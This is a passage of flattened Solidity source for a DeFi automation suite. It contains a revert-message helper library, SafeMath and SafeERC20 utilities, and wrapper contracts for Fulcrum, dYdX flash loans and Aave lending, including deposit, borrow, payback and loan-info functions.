0x3e; // '>' uint256 constant FOUR_BIT_MASK = 0xf; // ============ Library Functions ============ function that( bool must, bytes32 file, bytes32 reason ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason) ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } // ============ Private Functions ============ function stringifyTruncated( bytes32 input ) private pure returns (bytes memory) { // put the input bytes into the result bytes memory result = abi.encodePacked(input); // determine the length of the input by finding the location of the last non-zero byte for (uint256 i = 32; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // find the last non-zero byte in order to determine the length if (result[i] != 0) { uint256 length = i + 1; /* solium-disable-next-line security/no-inline-assembly */ assembly { mstore(result, length) // r.length = length; } return result; } } // all bytes are zero return new bytes(0); } function stringify( uint256 input ) private pure returns (bytes memory) { if (input == 0) { return "0"; } // get the final string length uint256 j = input; uint256 length; while (j != 0) { length++; j /= 10; } // allocate the string bytes memory bstr = new bytes(length); // populate the string starting with the least-significant character j = input; for (uint256 i = length; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // take last decimal digit bstr[i] = byte(uint8(ASCII_ZERO + (j % 10))); // remove the last decimal digit j /= 10; } return bstr; } function stringify( address input ) private pure returns (bytes memory) { uint256 z = uint256(input); // addresses are "0x" followed by 20 bytes of data which take up 2 characters each bytes memory result = new bytes(42); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 20; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[41 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[40 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function stringify( bytes32 input ) private pure returns (bytes memory) { uint256 z = uint256(input); // bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each bytes memory result = new bytes(66); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 32; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[65 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[64 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function char( uint256 input ) private pure returns (byte) { // return ASCII digit (0-9) if (input < 10) { return byte(uint8(input + ASCII_ZERO)); } // return ASCII letter (a-f) return byte(uint8(input + ASCII_RELATIVE_ZERO)); } } library Types { using Math for uint256; // ============ AssetAmount ============ enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } // ============ Par (Principal Amount) ============ // Total borrow and supply values for a market struct TotalPar { uint128 borrow; uint128 supply; } // Individual principal amount for an account struct Par { bool sign; // true if positive uint128 value; } function zeroPar() internal pure returns (Par memory) { return Par({ sign: false, value: 0 }); } function sub( Par memory a, Par memory b ) internal pure returns (Par memory) { return add(a, negative(b)); } function add( Par memory a, Par memory b ) internal pure returns (Par memory) { Par memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value).to128(); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value).to128(); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value).to128(); } } return result; } function equals( Par memory a, Par memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Par memory a ) internal pure returns (Par memory) { return Par({ sign: !a.sign, value: a.value }); } function isNegative( Par memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Par memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Par memory a ) internal pure returns (bool) { return a.value == 0; } // ============ Wei (Token Amount) ============ // Individual token amount for an account struct Wei { bool sign; // true if positive uint256 value; } function zeroWei() internal pure returns (Wei memory) { return Wei({ sign: false, value: 0 }); } function sub( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { return add(a, negative(b)); } function add( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { Wei memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value); } } return result; } function equals( Wei memory a, Wei memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Wei memory a ) internal pure returns (Wei memory) { return Wei({ sign: !a.sign, value: a.value }); } function isNegative( Wei memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Wei memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Wei memory a ) internal pure returns (bool) { return a.value == 0; } } contract FulcrumSavingsProtocol is ProtocolInterface, DSAuth { address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public savingsProxy; uint public decimals = 10 ** 18; function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // approve dai to Fulcrum ERC20(DAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); // mint iDai ITokenInterface(NEW_IDAI_ADDRESS).mint(_user, _amount); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); // transfer all users tokens to our contract require(ERC20(NEW_IDAI_ADDRESS).transferFrom(_user, address(this), ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(_user))); // approve iDai to that contract ERC20(NEW_IDAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); uint tokenPrice = ITokenInterface(NEW_IDAI_ADDRESS).tokenPrice(); // get dai from iDai contract ITokenInterface(NEW_IDAI_ADDRESS).burn(_user, _amount * decimals / tokenPrice); // return all remaining tokens back to user require(ERC20(NEW_IDAI_ADDRESS).transfer(_user, ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(address(this)))); } } contract ShifterRegistry is AdminAuth { mapping (string => address) public contractAddresses; bool public finalized; function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner { require(!finalized); contractAddresses[_contractName] = _protoAddr; } function lock() public onlyOwner { finalized = true; } function getAddr(string memory _contractName) public view returns (address contractAddr) { contractAddr = contractAddresses[_contractName]; require(contractAddr != address(0), "No contract address registred"); } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract BotRegistry is AdminAuth { mapping (address => bool) public botList; constructor() public { botList[0x776B4a13093e30B05781F97F6A4565B6aa8BE330] = true; botList[0xAED662abcC4FA3314985E67Ea993CAD064a7F5cF] = true; botList[0xa5d330F6619d6bF892A5B87D80272e1607b3e34D] = true; botList[0x5feB4DeE5150B589a7f567EA7CADa2759794A90A] = true; botList[0x7ca06417c1d6f480d3bB195B80692F95A6B66158] = true; } function setBot(address _botAddr, bool _state) public onlyOwner { botList[_botAddr] = _state; } } contract DFSProxy is Auth { string public constant NAME = "DFSProxy"; string public constant VERSION = "v0.1"; mapping(address => mapping(uint => bool)) public nonces; // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; bytes32 public constant PERMIT_TYPEHASH = keccak256("callProxy(address _user,address _proxy,address _contract,bytes _txData,uint256 _nonce)"); constructor(uint256 chainId_) public { DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(NAME)), keccak256(bytes(VERSION)), chainId_, address(this) )); } function callProxy(address _user, address _proxy, address _contract, bytes calldata _txData, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) external payable onlyAuthorized { bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, _user, _proxy, _contract, _txData, _nonce)) )); // user must be proxy owner require(DSProxyInterface(_proxy).owner() == _user); require(_user == ecrecover(digest, _v, _r, _s), "DFSProxy/user-not-valid"); require(!nonces[_user][_nonce], "DFSProxy/invalid-nonce"); nonces[_user][_nonce] = true; DSProxyInterface(_proxy).execute{value: msg.value}(_contract, _txData); } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } contract DydxFlashLoanBase { using SafeMath for uint256; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; function _getMarketIdFromTokenAddress(address token) internal view returns (uint256) { return 0; } function _getRepaymentAmountInternal(uint256 amount) internal view returns (uint256) { // Needs to be overcollateralize // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } } contract ExchangeDataParser { function decodeExchangeData( SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (address[4] memory, uint[4] memory, bytes memory) { return ( [exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper], [exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x], exchangeData.callData ); } function encodeExchangeData( address[4] memory exAddr, uint[4] memory exNum, bytes memory callData ) internal pure returns (SaverExchangeCore.ExchangeData memory) { return SaverExchangeCore.ExchangeData({ srcAddr: exAddr[0], destAddr: exAddr[1], srcAmount: exNum[0], destAmount: exNum[1], minPrice: exNum[2], wrapper: exAddr[3], exchangeAddr: exAddr[2], callData: callData, price0x: exNum[3] }); } } interface IFlashLoanReceiver { function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external; } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public view virtual returns (address); function setLendingPoolImpl(address _pool) public virtual; function getLendingPoolCore() public virtual view returns (address payable); function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual; function getLendingPoolConfigurator() public virtual view returns (address); function setLendingPoolConfiguratorImpl(address _configurator) public virtual; function getLendingPoolDataProvider() public virtual view returns (address); function setLendingPoolDataProviderImpl(address _provider) public virtual; function getLendingPoolParametersProvider() public virtual view returns (address); function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual; function getTokenDistributor() public virtual view returns (address); function setTokenDistributor(address _tokenDistributor) public virtual; function getFeeProvider() public virtual view returns (address); function setFeeProviderImpl(address _feeProvider) public virtual; function getLendingPoolLiquidationManager() public virtual view returns (address); function setLendingPoolLiquidationManager(address _manager) public virtual; function getLendingPoolManager() public virtual view returns (address); function setLendingPoolManager(address _lendingPoolManager) public virtual; function getPriceOracle() public virtual view returns (address); function setPriceOracle(address _priceOracle) public virtual; function getLendingRateOracle() public view virtual returns (address); function setLendingRateOracle(address _lendingRateOracle) public virtual; } library EthAddressLib { function ethAddress() internal pure returns(address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for ERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public addressesProvider; constructor(ILendingPoolAddressesProvider _provider) public { addressesProvider = _provider; } receive () external virtual payable {} function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal { address payable core = addressesProvider.getLendingPoolCore(); transferInternal(core,_reserve, _amount); } function transferInternal(address payable _destination, address _reserve, uint256 _amount) internal { if(_reserve == EthAddressLib.ethAddress()) { //solium-disable-next-line _destination.call{value: _amount}(""); return; } ERC20(_reserve).safeTransfer(_destination, _amount); } function getBalanceInternal(address _target, address _reserve) internal view returns(uint256) { if(_reserve == EthAddressLib.ethAddress()) { return _target.balance; } return ERC20(_reserve).balanceOf(_target); } } contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { if (gasToken.balanceOf(address(this)) >= _amount) { gasToken.free(_amount); } _; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } contract AaveBasicProxy is GasBurner { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @notice User deposits tokens to the Aave protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _amount Amount of tokens to be deposited function deposit(address _tokenAddr, uint256 _amount) public burnGas(5) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint ethValue = _amount; if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); approveToken(_tokenAddr, lendingPoolCore); ethValue = 0; } ILendingPool(lendingPool).deposit{value: ethValue}(_tokenAddr, _amount, AAVE_REFERRAL_CODE); setUserUseReserveAsCollateralIfNeeded(_tokenAddr); } /// @notice User withdraws tokens from the Aave protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _aTokenAddr ATokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _wholeAmount If true we will take the whole amount on chain function withdraw(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeAmount) public burnGas(8) { uint256 amount = _wholeAmount ? ERC20(_aTokenAddr).balanceOf(address(this)) : _amount; IAToken(_aTokenAddr).redeem(amount); withdrawTokens(_tokenAddr); } /// @notice User borrows tokens to the Aave protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _type Send 1 for variable rate and 2 for fixed rate function borrow(address _tokenAddr, uint256 _amount, uint256 _type) public burnGas(8) { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).borrow(_tokenAddr, _amount, _type, AAVE_REFERRAL_CODE); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; (,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); if (_wholeDebt) { amount = borrowAmount + originationFee; } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, payable(address(this))); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function paybackOnBehalf(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt, address payable _onBehalf) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; (,uint256 borrowAmount,,,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, _onBehalf); if (_wholeDebt) { amount = borrowAmount + originationFee; } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); if (originationFee > 0) { ERC20(_tokenAddr).safeTransfer(_onBehalf, originationFee); } approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, _onBehalf); withdrawTokens(_tokenAddr); } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this)); if (amount > 0) { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, amount); } else { msg.sender.transfer(amount); } } } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } function setUserUseReserveAsCollateralIfNeeded(address _tokenAddr) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, true); } } function setUserUseReserveAsCollateral(address _tokenAddr, bool _true) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, _true); } function swapBorrowRateMode(address _reserve) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).swapBorrowRateMode(_reserve); } } contract AaveLoanInfo is AaveSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint256[] collAmounts; uint256[] borrowAmounts; } struct TokenInfo { address aTokenAddress; address underlyingTokenAddress; uint256 collateralFactor; uint256 price; } struct TokenInfoFull { address aTokenAddress; address underlyingTokenAddress; uint256 supplyRate; uint256 borrowRate; uint256 borrowRateStable; uint256 totalSupply; uint256 availableLiquidity; uint256 totalBorrow; uint256 collateralFactor; uint256 liquidationRatio; uint256 price; bool usageAsCollateralEnabled; } struct UserToken { address token; uint256 balance; uint256 borrows; uint256 borrowRateMode; bool enabledAsCollateral; } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint256) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Aave prices for tokens /// @param _tokens Arr. of tokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _tokens) public view returns (uint256[] memory prices) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); prices = new uint[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { prices[i] = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokens[i]); } } /// @notice Fetches Aave collateral factors for tokens /// @param _tokens Arr. of tokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _tokens) public view returns (uint256[] memory collFactors) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); collFactors = new uint256[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { (,collFactors[i],,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokens[i]); } } function getTokenBalances(address _user, address[] memory _tokens) public view returns (UserToken[] memory userTokens) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); userTokens = new UserToken[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { address asset = _tokens[i]; userTokens[i].token = asset; (userTokens[i].balance, userTokens[i].borrows,,userTokens[i].borrowRateMode,,,,,,userTokens[i].enabledAsCollateral) = ILendingPool(lendingPoolAddress).getUserReserveData(asset, _user); } } /// @notice Calcualted the ratio of coll/debt for an aave user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint256[] memory ratios) { ratios = new uint256[](_users.length); for (uint256 i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about reserves /// @param _tokenAddresses Array of 